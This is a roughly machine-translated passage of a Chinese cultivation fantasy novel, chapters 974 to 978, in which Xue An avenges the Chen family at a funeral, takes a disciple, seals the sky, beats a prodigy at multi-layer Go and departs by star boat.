    Chen Shang said coldly: "You need to know who is the owner of this family. It is all within our Chen family. Mr. Xue, although your cultivation skills are shocking, you can''t interfere with our Chen family''s affairs! After all, this matter It has nothing to do with you!"


    That said.


    The audience was silent.


    Everyone''s eyes focused on Xue An.


    Xue An touched his chin, thought for a moment, then smiled.


    "It seems...that''s really the case!"


    Chen Shang was overjoyed.


    Chen Rushi''s heart gradually sank.


    But just before the complacency on Chen Shang''s face was fully released.


    Xue An said lightly: "Poem, kneel down!"


    Chen Rushi was taken aback, but still obediently knelt in front of Xue An.


    The audience was even more commotion.


    "What does Mr. Xue want to do?"


    "I don''t know, keep watching!"


    Then Xue An smiled at Chen Shangxiang, "Although I don''t care about your shit, but since you said it, then I will convince you!"


    With that said, Xue An turned his head and said to Chen Rushi, who was kneeling on the ground: "Rushi, are you willing to worship me as a teacher?"


    boom!


    This sentence was like a blockbuster, and everyone in the audience was shocked by it.


    what? Mr. Xue actually intends to accept this Chen Rushi as his disciple?


    This is simply a good thing that countless people dream of!


    You must know that with Xue An''s current status and status, people who want to worship him as a teacher can circle the earth more than a dozen times in a line.


    For a time, countless people''s envied eyes are red.


    And Chen Rushi was shocked, until An Yan yelled softly, "Poem!"


    She woke up from the daze, and then fell to her knees without hesitation, "Master is here, disciple is like a poem, see Master!"


    When she said this, Chen Rushi''s heart was naturally filled with infinite joy, but there was still a touch of sadness in her joy.


    Because Chen Rushi understood that from then on, he would no longer be able to approach Xue An.


    But soon Chen Rushi thought again.


    It''s a fluke to be a master and apprentice.


    She...has not dared to ask for more.


    Seeing Chen Rushi knocking his head to the ground, Xue Ancai raised his head and looked at Chen Shanghang and Chen Beilie, who were bewildered, and said lightly.


    "You just said that I''m just an outsider and can''t interfere with your Chen family''s affairs! Now Chen Rushi has become my disciple. I, as a master, naturally have to take care of her affairs! Do you understand this principle?"


    Chen Shang''s complexion suddenly became pale as paper.


    He was still wondering just now.


    Only at this time did he understand why Xue An did this.


    "I...I..." Chen Shang, who has always been good at speech, also became speechless at this time.


    And Chen Beilie, who was on the sidelines, was already in a double-strike battle and could hardly stand.


    Suddenly, he thumped and knelt on the ground, crying and saying: "Mr. Xue, this incident was planned by my cousin Chen Shang! Listen, I still have evidence here!"


    As he said, Chen Beilie took out a voice recorder from his pocket, and when he opened it, those words from Chen Xianggong came.


    "When the funeral is over, I will find a man to send this Chen Rushi away. By then, the Chen family''s family business will be mine!"


    These words came out.


    The whole audience was shocked.


    The giants who came here to mourn are not fools. They have already seen the situation clearly at this moment, so they all jumped out, pointed at Chen Shang and began to swear.


    "Wolf ambition, really wolf ambition!"


    "That''s right, I''m so cruel to my own cousin, and I''m planning to seize the family property, I''m really ashamed of Old Man Chen''s spirit in heaven!"


    "Bah! Chen family is a hero, you are not worthy of the surname Chen!"


    Chen Xiang was ashamed and desperate.


    Because he knew that he was finished.


    Even if Xue An didn''t kill him, he was already ruined, and there was no possibility of a comeback.


    At this time, Chen Beilie said flatly: "Mr. XueSister Rushi, this matter really has nothing to do with me! Everything is driven by Chen upward!"


    These words reminded Chen Shanghang, his full of anger was ignited all at once, and then he immediately rushed over, grabbed Chen Beilie''s neck, and roared hideously.


    "You despicable villain, I will strangle you to death!"


    Chen Beilie was unwilling to show weakness and began to counter.


    The two cousins ??fought before the mourning hall.


    A bleak color appeared in Chen Rushi''s eyes.


    At this moment, Xue An waved casually.


    A strand of sword light directly nailed the two scuffled together to the ground.


    Chen Shanghang and Chen Beilie raised their heads to say something, but how could ordinary people withstand the power of the sword, so they only trembled, and both died.


    Then Xue Ancai said lightly: "It''s getting late, send Mr. Chen on the road!"

 Chapter 974： Its voice is strong, its power shakes the sky

    Someone dragged the bodies of Chen Shang and Chen Beilie away like a dog.


    Then I saw twenty-four sturdy young men stepping up neatly, and there was a big manager who was about to cry out.


    Xue An waved his hand to stop him, then turned his head and nodded the person from the Fire Phoenix Special Forces who had just arrived.


    "Come and carry the coffin!"


    "Yes!" Cheng Hao, the captain of the Fire Phoenix, took the lead, leading all the people in the Fire Phoenix to step forward to support the coffin.


    "Qing Ling!" Xue An yelled softly.


    The coffin rose from the ground, and then Xue An helped the spirit himself.


    "Go! Send the old man on the road!"


    Give an order.


    Suddenly, a passage was opened in front of him.


    Chen Rushi knelt down on the side of the road, already crying into tears.


    When the people of the Fire Phoenix walked past her carrying the coffin, Chen Rushi kowtowed deeply.


    "Grandpa, go all the way!"


    This stern cry of sorrow moved everyone in the audience.


    But when the coffin walked out of the Chen family''s gate, the giants in the audience woke up from the shock just now, and they couldn''t help taking a breath.


    "My God, I''m not mistaken, didn''t I! Actually use Fire Phoenix people to carry the coffin?" Someone said with a shocked look.


    We must know the high status of the Fire Phoenix Special Forces among the Chinese people, as if they were already a military god.


    What''s more, the fire phoenix people have the lowest cultivation base, and many of them are strong in longevity, and even the highest cultivation base has broken through to become a golden immortal.


    These powerful people with cultivation bases, no matter where they go, are existences respected by thousands of people, and they actually give Chen Xiu and lift their spirits, how much face is this?


    "Don''t you see that even Mr. Xue helps the spirits himself? Now... Mr. Chen is extremely sad!" Someone sighed with envy.


    "Yes! Now, Mr. Xue has given the Chen family a lot of face!"


    Everyone sighed.


    At this time, someone shouted, "What are you still doing in a daze? Hurry up and see the old man one last time!"


    One sentence reminded the dreamer that all the rich and powerful members of this group were rushing out, for fear that they were falling behind others.


    Because even a fool can see it now, the Chen family will soar into the sky since then, even far better than before.


    Chen Rushi was accepted as an apprentice by Xue An in public, and so put gold on the face of the late Chen Xiuhe.


    This is clearly telling everyone.


    The Chen family, I''m Xue An safe!


    In this way, who would dare not respect it?


    So there is a scene of wonder in today''s Zhongdu.


    I saw the mighty funeral team in front, and the rich and powerful members of Zhongdu who gathered more and more in the back.


    Even many wealthy families who hadn''t come to condolences just rushed over after hearing the news.


    Although Mr. Xue doesn''t care about these at all.


    But if his family is absent from this event, then it is likely to be squeezed out by other giants, and the loss will be great.


    The citizens of Zhongdu who came to see off spontaneously were also shocked.


    "God, it was Mr. Xue who helped the spirits himself!"


    "Hi! Even the people who carried the coffin were all from the Phoenix!"


    "Look at it, almost all the giants in Central Capital have arrived! The Chen family''s face is exposed to the top of the sky!"


    The road from Chen''s house to the cemetery is very long.


    But the people along the way got together more and more.


    But everyone spontaneously gave way.


    The coffin passed by, and everyone respected wherever it passed.


    And the sky, I don''t know when it has changed from a clear sky to overcast clouds.


    In this atmosphere.


    The coffin finally passed through most of the capital and arrived at the cemetery.


    Chen Rushi was supported by several close female relatives and came here.


    Although everything had been prepared for a long time, Chen Rushi cried again when he watched the grandfather who raised him enter the soil in peace.


    "grandfather!"


    The voice was stern, and everyone who heard it wept.


    at last.


    The coffin fell into the soil.


    When the last shovel of soil covers it.


    There was a patter of rain in the sky.


    In the silence of the audience, Xue An silently filled a bowl of wine.


    "Father Chen, I respect you for this cup! May you go here, enjoy the world, and have no more fetters!"


    After all, Xue An drank the wine in the cup, then suddenly broke the bowl and chanted.


    "Qi said Wuyi, the same robe with my son, Master Wang Yuxing, repaired my spear, and hated my son..."


    At first, only Xue An was chanting, and then the people of the Fire Phoenix standing behind him also began to chant.


    finally.


    All the people present began to recite this war song from a thousand years ago.


    Its voice is violent and its momentum is shocking.


    It seems that even the heavens and the earth are trembling in front of this battle anthem that has passed on for thousands of years and has condensed the Chinese spirit.


    The originally cloudy sky gradually tore a hole, and the sun shone directly on the tomb of Chen Xiuhe.


    Many people were stunned by this spectacle.


    And An Yan whispered: "Like a poem, don''t cry, do you see it? Old man Chen has been very pleased to rest in peace after seeing this scene!"


    Chen Rushi wiped away the tears on his face, and his expression gradually became firm, "Sister Yan, I understand! I have drained all the tears of my life these days. From then on, Chen Rushi, I will never cry again!"


    When the poem was finished, Xue An turned his head to look at everyone, and said lightly: "I killed two people today! Two mortals!"


    The audience fell silent.


    Xue An went on to say: "It stands to reason that in my capacity, these two people are not worth doing! But I still killed! Do you know why?"


    The audience was extremely quiet, and everyone looked at Xue An quietly.


    Xue An turned his head to look at Chen Xiuhe''s tomb, and said lightly: "Because these two people actually intended to seize the family property when the old man Chen was still dead, and even used despicable means to target the aftermath of Zhonglie!"


    "Such a person, should you kill or not?"


    Cheng Hao of the Fire Phoenix took a step forward and said in a deep voice, "It''s time to kill!"


    Everyone also began to agree, "Yes, it''s time to kill!"


    "Good killing!"


    Xue An smiled faintly, looked around the audience, and said in a cold tone: "I don''t care who you are, and regardless of your status or status But if anyone dares to slander or target the martyrs who sacrificed for the Chinese people ...."


    Xue An raised his hand, and a sword light cut straight past, cutting off a mountain not far away.


    In the loud noise of the mountain breaking.


    Xue An said indifferently: "My sword, but it doesn''t keep alive!"


    The audience was awe-inspiring, and some people with ghosts in their hearts were so scared that their hairs were stiff, and they quickly dispelled the thoughts in their hearts.


    Then Xue An glanced at the people of Fire Phoenix, "Fire Phoenix listens to the order!"


    "Yes!" Cheng Hao and the others gave their hands together.


    "After I leave this world, if anyone dared to slander the Chinese martyrs... without mercy!"


    "Yes!" Fire Phoenix everyone responded in unison.


    Zhou Daniu even stroked his big bald head, grinning and said: "The instructor can rest assured, whoever dares to do this, I will screw his head off first!"

 Chapter 975： Cut off all emotions, cut off 6 desires

    When this funeral, which was of such a high standard that most people could not imagine, ended, the whole story became boiling.


    People talked a lot, but the focus of the discussion was nothing more than Xue An''s remarks.


    Although there was still a small group of gangsters who whispered that Xue An was too overbearing and careless about human rights.


    But these voices soon drowned in the vast sea of ??people.


    Almost everyone agreed with Xue An''s proposal and approach.


    This is not because of Xue An''s strong strength and respect for his identity, but his actions conformed to the hearts of the people.


    This is called the general trend.


    And just when the outside world was rioting because of this incident.


    In the Chen family.


    Xue An said to Chen Rushi with a serious face: "Rushi, you have to think clearly about your choice!"


    Chen Rushi looked resolute, "Master, I have already thought very clearly! This path is my choice, then I have to go down on my knees!"


    The atmosphere suddenly became a little stagnant.


    Looking at Chen Rushi, who was determined and unwavering, a complex light flashed in Xue An''s eyes.


    After returning from the funeral.


    Xue An was going to teach Chen Rushi a technique.


    Unexpectedly, Chen Rushi was not interested in everything else. She had only one requirement, to become the strongest in the shortest time.


    For this, she is willing to pay any price.


    Xue An sighed slightly, "As poetry, I understand your feelings. You want to help your grandfather. But once you choose this path, you will die alone, unless you can break through in your lifetime. Imprison, otherwise... even I can''t help you!"


    "Apprentice...Yes!" Chen Rushi said with a firm heart without blinking his eyelids.


    Xue An seemed to have known that she would say that, and shook his head with a wry smile.


    "Okay, then I will teach you this... Jue Qing Dao!"


    Among the heavens and worlds, there are endless exercises and various genres.


    But if you want to ask which genre was the fastest and most violent in the early stage of cultivation, then this is the truth.


    The so-called cessation of love refers to the cessation of passion and desire.


    This is an extremely cruel practice.


    To say it is cruel does not mean that indiscriminate killing of innocents and slaughter of creatures like demons or ghosts, but refers to the cruel requirements of the people it cultivates to the point of abnormality.


    The requirements are only eight words.


    Cut off all emotions, cut off the six desires.


    At that time, human beings will become a machine, and there is only one thought left in the mind, which is to become stronger.


    This kind of cultivation without any distractions will naturally make it brave and diligent, and even crush all genres in the early stage.


    But no one in the heavens and all realms, whether it is the Void Great Sect or the Saint Son of Shenzong, does not practice this kind of exercise.


    There is only one reason.


    That is, this exercise is easy to cultivate into a complete lunatic.


    Imagine that there is no love, hatred, and hatred, and only obsessive monks are left in my heart. What is the difference with a lunatic?


    Anyone who has a little bit of pursuit is unwilling to abandon all mundane things to practice such things.


    What''s more, this kind of exercise is very restrictive in the later stage. If you can''t break through yourself when you cultivate to the true immortal, and change from the unconditional to the most emotional, then you will stay in the true immortal forever in this life, and there will be no more. may.


    Xue An explained these shortcomings in detail to Chen Rushi.


    But she didn''t listen, instead she only heard the words cultivating superb speed.


    "I don''t know if this is helping you or harming you, but now I just want to ask you one last thing, do you really want to practice this kind of exercise?"


    Chen Rushi nodded, and then said with a trembling voice: "Master, I know my talent very well. With my strength, it is absolutely impossible to cultivate into a true immortal in my lifetime, no, even if it is to become a golden immortal. thing!"


    "But I''m not convinced. I want to become strong, and become as strong as a god, even if it will cost me everything, I will not hesitate!"


    "Because... the Chen family''s revenge has to be reported by the Chen family!"


    Xue An was moved by Chen Rushi��s remarks. He nodded, "Okay! Then I will help you enter this path of love! But you have to remember, don��t forget your heart at any time and wait until it��s true. At this time, if you can surpass yourself, then you can become a real strong, and even Ronaldo is expected!"


    "Yes! Thank you, Master!"


    Xue An''s eyes narrowed slightly, and the huge spiritual thoughts condensed on the top of his head in an instant, and then burst into Chen Rushi''s sea of ??knowledge.


    To enter the Dao of Disruption, you must first obliterate all your seven emotions and six desires.


    This step is very important. If someone has a slightly weaker strength and divine consciousness, it is easy to make divine consciousness incomplete and become a complete machine.


    Of course, this does not exist for Xue An.


    His divine consciousness suppressed and blocked all the seven emotions and six desires in Chen Rushi''s soul in an instant, and then instilled a whole set of exercises into it.


    After all this is done.


    Xue An took a step back and said in a deep voice: "Alright!"


    Chen Rushi shook his whole body slightly, and then slowly opened his eyes.


    Everything that was once agile in these wonderful eyes no longer exists.


    Yes, it''s just a void.


    "Poem!" Xue An yelled softly.


    Chen Rushi''s eyes gradually glowed with brilliance.


    It''s just this brilliance, full of chills.


    "Master!"


    Even the sound became unpleasant, and at first it sounded like the sound of a machine.


    Xue An sighed, "Poem, I hope to see the day when you break through yourself!"


    Chen Rushi was silent for a moment, then nodded, "Yes!"


    After dealing with the Chen family''s affairs.


    Xue An planned to return to Beijiang to clean up, and then leave the earth again.


    After all, there are still a lot of things waiting for you to do!


    But at this moment, an invitation was sent to the Chen family.


    Xue An smiled slightly after seeing it, "It''s okay, I was going to see you in the first place, this will save trouble!"


    The person who made the invitation is the town general.


    When Xue An saw him, he had just finished a meeting and hurried over.


    "Sorry Mr. Xue, I didn''t expect you to come so soon!" General Zhen Guo said apologetically.


    Xue An smiled slightly and waved his hand, "Needless to say, what can you do with me?"


    The General Zhen Guo stopped talking, but in the end he said, "Mr. Xue, will you leave this time when you return?"


    "meeting!"


    really!


    A look of worry appeared on General Zhen Guo''s face, "I invite you to come this time just to discuss with youAfter you leave the earth again, what if another **** descends? After all? ......The Chinese can''t stand the tossing anymore!"


    The General Zhen Guo''s worry is very reasonable. The strength of the Chinese has not really recovered. If there are any gods to come to the world, they will definitely be overwhelmed.


    This time, Xue An rushed back in time, but what about next time? Can it be so timely?


    Xue An smiled, "Your concern is right, and if you don''t ask, I will tell you too!"


    With that, Xue An raised his head and looked towards the sky, and said lightly: "Which one do you think is better?"


    General Zhen Guo was taken aback, "Huh? Mr. Xue, what are you talking about?"


    He didn''t hear Xue An''s words clearly.


    Xue An smiled slightly, "Nothing!"


    As he said, he jumped up, stood on the sky, and said lightly: "Look at me...a fortune!"

 Chapter 976： 1 word seal

    Zhongdu, Weijia.


    Wei Rulan was sitting under the tree, playing against herself.


    It''s just that her way of playing chess is completely different from others.


    Because her chessboard is hollowed out in four layers.


    That is to say, it is made up of four layers of 19 by 19 chessboards superimposed, and each layer and each layer are connected by thin glass filaments.


    And her method of playing chess is also different. She moves the chess pieces by tapping the light points.


    Moreover, these pieces are not only for the plane, but also for the game in the middle of the four layers.


    As a result, the complexity of this game has increased countless times.


    At least Wei Ruyan looked dizzy, but couldn''t understand anything.


    Especially in the end, I can''t even see the movement of the chess pieces, I can only see the light spots running across the board, which is dazzling.


    at last.


    The speed of the chess pieces gradually slowed down, after a long time of thinking.


    Wei Rulan shook her head and pressed the reset button.


    In an instant, all the chess pieces returned to their original positions.


    "How about? Who won this time?" Wei Ruyan said teasingly.


    Wei Rulan said lightly: "This time it''s a draw!"


    Wei Ruyan was taken aback for a moment, and then said dumbly: "Will there be a tie when I play against myself?"


    Wei Rulan nodded seriously, "Of course there will be!"


    Then she stared at the specially-made chessboard and stared blankly.


    This unique method of playing chess is not her original creation.


    In fact, this is entirely based on a small game taught by Xue An to the Chinese military.


    Its purpose is to exercise people''s spirituality.


    But when Wei Rulan learned about this game, she was crazy about it and couldn''t help herself.


    Because of the simple plane Go, Wei Rulan can already infer all the possibilities through her own mind.


    This makes playing chess a very boring thing.


    Often before the opponent has made three moves, Wei Rulan has already deduced all the possibilities behind, knowing the outcome in advance.


    How can such a game be fun?


    But the appearance of this game gave Wei Rulan a surprise.


    Because she found that when the planar chess game becomes three-dimensional, the complexity increases exponentially.


    The superimposition of the two-layer game is a thousand times more difficult than the flat game.


    And for the third floor, it has to be a million times.


    As for the four layers, it is even more complicated and unimaginable.


    It can be said that with each additional layer, the difficulty can be superimposed to a staggering degree.


    Now that Wei Rulan has been able to play four levels of Go after extremely hard training.


    This is already the best achievement in China and even in the world.


    Not even the latest supercomputers can do it.


    So Wei Rulan is quite content with this.


    I don��t know what Mr. Xue, who has a shocking cultivation base, is doing in this game?


    If there is a chance to play against Yi, chances are that I can beat him!


    Just when Wei Rulan was wandering away.


    Suddenly, my cousin Wei Ruyan said in amazement: "Rulan, look at the sky!"


    Wei Rulan looked up to the sky.


    A figure appeared above the sky.


    Although they were far apart, Wei Rulan, who had already achieved a small spiritual mind, could still see who it was at a glance.


    "It''s Mr. Xue! What is he going to do?" Wei Rulan couldn''t help being a little surprised.


    It''s not just her.


    The powerhouses in the entire Central Capital and even the entire Chinese nation felt the strangeness in the sky, and couldn''t help but look up, and their eyes all showed doubts.


    What is Mr. Xue going to do?


    At this moment, Xue An was seen standing on the top of the sky, raising his slender and powerful hand, and gently drawing a horizontal line.


    With this stroke, a stagnant mark appeared in the air.


    Then Xue An started to write like dragons and snakes.


    Void is like paper, and fingertips are like ink.


    In an instant.


    I saw an incomparably mysterious and complicated ancient seal character gradually appearing in the air.


    When the last sum is clicked.


    The whole world trembled.


    Many monks were even more shocked.


    Because they felt that even the Dao of Heaven was shaking.


    At this time, I saw Xue An overlooking the world, and said lightly: "This word is a town. I will use this word to seal the sky. If there are any more gods to come to the world, directly strangulate! But you can''t slack off. , Only with courage and diligence, can we have a place in the forest of strong clan!"


    Xue An''s voice was not loud, but it drifted into everyone''s ears, making them all shocked.


    "Yes! I''ll understand!"


    "Mr. Xue, don''t worry, I will do my best to live up to your high expectations!"


    Countless monks arched their hands to the sky and shouted in unison.


    Xue An smiled and nodded slightly, "Very good!"


    After all, his gaze seemed to swept across Zhongdu Wei''s house inadvertently, and then he flashed back to the back garden of Wei''s house.


    Sisters Wei Ruyan and Wei Rulan felt a flower in front of them, and when they looked again, Xue An had already appeared in front of them.


    This shocked both sisters.


    Wei Ruyan hurriedly said respectfully: "Mr. Xue!"


    Xue An smiled and waved his hand, "Master Wei, don''t be so polite!"


    Wei Ruyan blushed when she heard this, "How dare I call myself a master in front of you?"


    "Master Wei Guoqian, your cultivation may not be the strongest, but this craft of floral art is unique in the world, and even among the heavens, you are considered a master of floral art!"


    "Really?" Wei Ruyan was taken aback, and then said very happily.


    Xue An nodded.


    He is also telling the truth.


    There are many genres of cultivators in the heavens and worlds, and there are many who use flowers to enter the Tao. Even Xue An has seen a few with his own eyes.


    But these monks are all foreign races who are born from elves or flower monsters who are naturally close to nature.


    There are only a handful of human bodies that use flowers to enter the Tao.


    And although Wei Ruyan''s cultivation talent is not very good, but a natural heart is very pure, and given time, his achievements will be extraordinary.


    With Xue An''s affirmation, Wei Ruyan was excited.


    At this moment, Xue An turned his head to look at the four-layer chess game on the stone table, and smiled faintly.


    "I didn''t expect that Girl Rulan could play four levels of chess just by self-study! The talent is really good!"


    Hearing Xue An��s praise, Wei Rulan��s face showed a smug look, ��Actually, I think it��s pretty simple. After a few months of training, I can even challenge a five-tier chess game!��


    "I just don''t know if Mr. Xue who created this game is interested in playing a game with the little girl?" Wei Rulan said slyly.


    Wei Ruyan''s face was cold when she heard this, "Rulan..." she wanted to stop her.


    Xue An waved his hand, and then looked at Wei Rulan with a smile, "Okay! Anyway, there is still plenty of time, then I will accompany you to the next set! Just a condition!"


    "What conditions?"


    "If you lose, you will shout three times. I am a fool!" Xue An winked and said narrowly.


    Wei Rulan hesitated for a moment, then nodded, "Okay! Mr. Xue, that little girl is not welcome!"

 Chapter 977： Play chess game

    The words are full of strong confidence.


    After all, when it comes to ingenuity, Wei Rulan never convinces anyone.


    Although Wei Ruyan tried to stop it several times, it can be seen that Xue An was determined and did not dare to say anything, so she looked helplessly at the side.


    The two sat facing each other, and Xue An raised his hand, "Girl Rulan, please!"


    Wei Rulan smiled confidently, "Although the four-layer chess game is the first mover, the advantage is not as great as that of ordinary Go, but I don''t want to take advantage of Mr. Xue, I will post five and a half eyes!"


    Xue An was noncommittal, "Whatever, I can do it!"


    Xue An��s careless attitude made Wei Rulan very uncomfortable. I thought, Mr. Xue, although your cultivation skills are shocking, but this Go game is more intelligent and talented. How long has it taken to practice hard to achieve the current results, I I don''t believe I will really lose to you!


    So she opened the chess game unceremoniously.


    Wei Ruyan watched.


    at the same time.


    The Wei family was also alarmed up and down.


    Including Wei Ruyan''s father and the head of the Wei family, almost the entire Wei family''s senior officials arrived.


    After all, this was Mr. Xue''s personal visit. Of course, Wei Jia had to show enough enthusiasm.


    But when Patriarch Wei saw that Mr. Xue was actually playing against his niece Wei Rulan, he hurriedly raised his hand and prevented people from continuing to move forward.


    Then these people all stood in the distance and watched quietly, for fear of disturbing the two who were playing chess.


    at the beginning.


    Wei Ruyan could barely keep up with the speed at which the two played chess.


    But after waiting, the two descended faster and faster.


    Dazzling, Wei Ruyan could only see the red and green spots of light shuttled back and forth at a crazy speed, even dragging out a long light tail.


    After watching for a few more seconds, Wei Ruyan felt dizzy and her eyes were darkening, so she closed her eyes and dared not look again.


    But at this moment.


    Just listen to a pop.


    The chess game stopped, Xue An rushed to the opposite Wei Rulan and said: "You lost!"


    The audience was shocked.


    Wei Ruyan hurriedly looked up.


    I saw my cousin sitting there with a dead face, eyes full of incredible light.


    Wei Ruyan was surprised.


    At the beginning, she really thought her cousin could win.


    Because since childhood, Wei Ruyan has never seen Wei Rulan lose in a brain game.


    But now, this myth has been broken.


    Not only did Wei Rulan lose, he also lost terribly.


    I saw Xue Anhao saying in a leisurely manner: "You lost to me one hundred and twelve eyes. If you add five and a half eyes, it will be 117 and a half eyes. Girl Rulan, do you have any objections?"


    Wei Rulan looked up at Xue An with a blank face.


    suddenly.


    There was a fiery light in her eyes, "No objection! Mr. Xue, I lost! I am convinced that I lost!"


    With that, she stood up and shouted three times as if she couldn''t wait.


    "I am a fool! I am a fool, I am a big fool!"


    Then he looked at Xue An with extremely ardent eyes, and said in a trembling voice: "Mr. Xue, this chess game... is not your creation!"


    Xue An raised his eyebrows and asked with interest: "Why do you say that?"


    Wei Rulan said with a serious face: "Because when you are playing chess, there are obviously many routines that have templates. That should be a ready-made chess record!"


    Xue An laughed at the words.


    Amidst the laughter, many senior officials of Wei''s family were all happy.


    It seems that Mr. Xue appreciates Rulan very much!


    Xue An smiled and said in admiration: "Miss Rulan, your intelligence is truly one of the best among the people I have seen! Yes, this chess game was not created by me. In fact, this chess game is It is a very popular game among the heavens and all realms!"


    "game?"


    Xue An nodded, "In fact, it is not just a game, it is also the only criterion used by many sects and ethnic groups who cultivate the soul to test whether the soul is strong!"


    Xue An''s words seemed to open a new door to Wei Rulan.


    She trembled and asked, "How is strength generally divided?"


    Xue An smiled faintly, "Generally the fifth floor is the entry level, the ninth floor is counted as the room, and the strong one can reach as many as hundreds of floors!"


    These words were like a punch, which directly made Wei Rulan, who was originally a little proud, pale.


    "It turns out... everything I''m proud of, but it''s not even getting started!" Wei Rulan said somewhat self-deprecatingly.


    Xue An shook his head, "You can''t say that. This chess game has been popular among the heavens for a long time. There are already very mature training methods, and there are many ready-made chess books circulating. It is naturally easy to learn!"


    "And you have come to the fourth level entirely by self-study. This is already not easy!"


    Hearing what Xue An said, Wei Rulan was no longer desperate, and then she blinked and looked at Xue An hopefully.


    "Then...what state is Mr. Xue now?"


    "Me?" Xue An smiled faintly.


    "In fact, I haven''t finished talking just now. The chess game used by the real powerhouse is not a normal small game, but a huge chessboard that covers ten miles, hundreds of miles, and even thousands of miles!"


    Wei Rulan was shocked.


    For her who is well versed in this game, she naturally understands what it means.


    Every time the chessboard expands a little, it means that the complexity increases exponentially. If it is a big chessboard with thousands of miles at every turn, the complexity is no longer imaginable.


    Even a cultivator with a weaker strength will take a second look, and he will be damaged.


    At this time, Xue An stood up and said lightly: "And my realm... is based on the void as the chess game, and the stars as the chess pieces!"


    This simple sentence set off a stormy sea in Wei Rulan''s heart, and she whispered softly with a dull face.


    "The void is the chess game, and the stars are the chess pieces! Is this... really powerful?"


    At this moment, Xue An waved his hand casually, and a divine thought carried a technique specially used to cultivate divine souls into Wei Rulan.


    Then he whispered: "Your talent is good, and this technique has been given to you! Hope to see your progress when I return from the heavens again!"


    After all, Xue An didn''t wait for Wei Rulan and others to react, so he soared into the sky and disappeared into the sky in a blink of an eye.


    Wei Rulan stared blankly, her cheeks were reddish suddenly, and then she bowed to the empty sky.


    "Mr. Xue rest assured, Rulan...will definitely live up to your expectations!"


    On this day Xue An sealed the sky with one word and taught Wei Rulan the technique, and then took An Yan to leave the crowd, left Zhongdu and returned to Beijiang.


    On the way, An Yan asked quietly: "Husband, you seem to admire Wei Rulan?"


    Xue An smiled slightly, "Her talent is really good, so I don''t want her to be buried! Why, jealous?"


    "I''m pooh, what do you take me for? Vinegar?"


    Xue An looked at An Yan a few times and nodded, "Almost, but more beautiful than a normal vinegar jar!"


    An Yan sipped Xue An, "I''ll talk nonsense!"


    Then she asked again: "But husband, no matter how good this game is, it is just a game! What''s the use?"


    Xue An looked at the unknown place and said lightly: "This chess game is far from simple as you said..."

 Chapter 978： Return to the heavens, time and space vortex

    "My lord, please take me with you!" Zhang Xiaoyu begged.


    "Give me a reason to take you!" Xue An said with a smile.


    "I...I can help you take care of Master Xiaosha!"


    "But Xiaosha is an egg now, so I don''t need to take care of it at all!"


    "Who said that the eggs don''t need to be taken care of? Master Xiaosha likes to clean them most. Even if they become dragon eggs, they must be carefully wiped and cleaned every day, otherwise she will be very uncomfortable!" Zhang Xiaoyu looked pitifully. With Xue An.


    An Yan on the side said: "Husband, take her with you! When it happens to be on the way, I miss you and can have multiple playmates!"


    Xue Anlue pondered, then nodded, "Well then!"


    "Thank you, sir! Thank you, mistress!" Zhang Xiaoyu''s happy tentacles formed a heart shape.


    Xue An has collected the dragon eggs made by Xiaosha into the Fubao Xiaolou.


    After going to the heavens, a very important thing is to find a way to bring Xiaosha back to life.


    In addition, there are many things that need to be prepared, such as supplementing some things that need to be used on the road.


    Of course, An Yan, Hu Ying and others worry about this, and Xue An doesn''t have to worry about it.


    Finally everything is finished.


    The news that Xue An was about to leave was not disclosed to anyone, and only a few people including An Qing and Tang Xuan''er were present to see off.


    Of course, the Chan''er who was brought back by Xue An from the sealed world was also there.


    Because of the limitation of cultivation base, she could not follow Xue An to the heavens.


    For this, she has been crying for several days.


    Now that Xue An is about to leave, I am even more tearful.


    "Master...."


    Although Xue An had corrected it several times, Chan''er still couldn''t change this name, and in the end she just let it go.


    Xue An was also very fond of this little Chaner, and knocked her head on the head with a smile.


    "Okay, it''s not that I won''t come back, Master. Remember to practice the exercises I gave you at home. When I come back, I will test your cultivation!"


    Chan''er nodded vigorously, "Hmm! Master, I understand! You have to take good care of yourself on the road!"


    An Yan smiled at Tang Xuan''er and said, "Xuan''er takes good care of her house, wait for us to come back!"


    The two little girls even dragged Tang Xuan''er''s clothes reluctantly, "Aunt Xuan''er, wait for us to bring you a lot of delicious food!"


    "Okay! Aunt Xuan''er is waiting for you to fulfill your promise!" Tang Xuan''er smiled and pinched the face of thinking and thinking.


    At this time, Xue An looked at An Qing who was still a little confused, and sighed slightly, "Did you figure it out?"


    An Qing shook her head.


    She is in a painful struggle recently.


    The cruelty and ruthlessness of the Zerg Heart and the kindness and warmth of human nature are fighting in her body.


    She is really a little confused now.


    Xue An smiled, "It''s not so easy to think about things clearly, but I just want to tell you a word!"


    Speaking of this, Xue An''s expression became much more serious.


    "Lost animality loses a lot, but loses humanity, you will lose everything!"


    An Qing was stunned, and she was fascinated by these words in her mouth.


    It wasn''t until Xue An''s family had boarded the star boat that An Qing woke up from the confusion and shouted at the top of the star boat.


    "Brother-in-law, thank you! I understand!"


    An Yan asked strangely: "Husband, what does Qinger understand?"


    Xue An smiled, "Nothing, I just told her how to control inhuman power!"


    at the same time.


    The star boat rose from the ground, its speed increased to the extreme in an instant, and then disappeared into the vast night sky.


    Tang Xuan''er stared at the distant light spot blankly, and said softly, "Xue An, have a good journey!"


    This time the speed of crossing the void was more than twice as fast as the last time.


    In just a few daylight scenes, Xue An''s star boat has crossed galaxies one after another and arrived in the vast sea of ??stars.


    This time An Yan did not guard in the Fubao Xiaolou, but let Zhang Xiaoyu accompany Miss Missing in it, and she accompanied Xue An in the star boat.


    Of course, under Hu Ying''s strong protest, she also had three hours of free time every day, and she could come to the star boat to let the wind go, but she had to return to the Fubao Xiaolou for the rest of the time.


    This made Hu Ying very dissatisfied, but when Xue An said, why not go back to Qingqiu Fox Country first.


    Huying immediately became extremely well-behaved, and she dared not say one more word.


    After stepping into the star sea, through the porthole of the star boat, you can see the beautiful illusory scene outside.


    Moreover, the planets where he passed were no longer barren, and many of them had already bred life.


    But these lives are often very primitive.


    The most advanced of them is nothing more than the birth of some creatures that can run on land.


    Such a place naturally has no civilization, let alone monks.


    Hu Ying looked at the stars passing by the window, and said with a sigh: "If this is in those prosperous galaxies, it is estimated that every one will be filled with people, how can such a blank star be allowed to appear."


    After that, she said to Xue An with some doubts: "Brother Xue, have you found it? Even though we have gone a long way, it is still deserted! And I don''t recognize the star map here!"


    Xue An smiled, "The vastness of the heavens is beyond the imagination of ordinary people. The extremely vast central galaxies are nothing but a drop in the ocean to the heavens!"


    With that said, Xue An couldn''t help sighing while looking at the shining stars in the sky.


    If you don��t enter the heavens, you don��t know how big the world is.


    And the known heavens may be just an inconspicuous corner of the vast universe.


